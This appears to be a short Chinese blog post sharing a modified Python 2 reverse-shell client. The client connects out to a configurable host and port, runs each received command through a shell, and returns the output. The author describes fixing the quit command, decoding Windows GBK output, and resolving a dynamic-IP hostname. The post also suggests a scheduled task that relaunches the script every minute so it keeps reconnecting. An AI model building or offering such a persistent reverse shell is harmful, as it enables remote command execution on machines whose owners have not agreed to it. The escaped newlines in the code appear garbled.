虽然不是自己写的,但是改了三个部分,网上发的这个,quit退出功能无法使用,因为传过来的字符串其实是加了n的,为了更人性化,我加了去空格。
第二个部分就是windows下的乱码问题,这里我先用了decode进行解码,然后encode编码传过去(吐槽一下,这个windows下乱码问题,saltstack都没解决,不知道什么情况)
这个脚本可以用计划任务1分钟执行1次,不用担心脚本重启启动问题,因为端口被占用后是无法执行成功的
,所以不用担心。
服务端退出可以不用quit,直接ctrl+c,客户端是可以退出的
第三部分加了host = socket.gethostbyname(host) ,可以支持动态ip,防止更换ip造成客户端丢失
import subprocess
import socket
host = "host"
host = socket.gethostbyname(host)
port = port
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((host, port))
client.send("Connected! quite to exit!nCommand here: ")
while 1:
data = client.recv(1024)
if data.lstrip() == "quitn": break
proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = proc.stdout.read()+proc.stderr.read()
stdoutput = stdoutput.decode('gbk').encode('utf-8')
client.send(stdoutput)
client.send("Bye!")
client.close()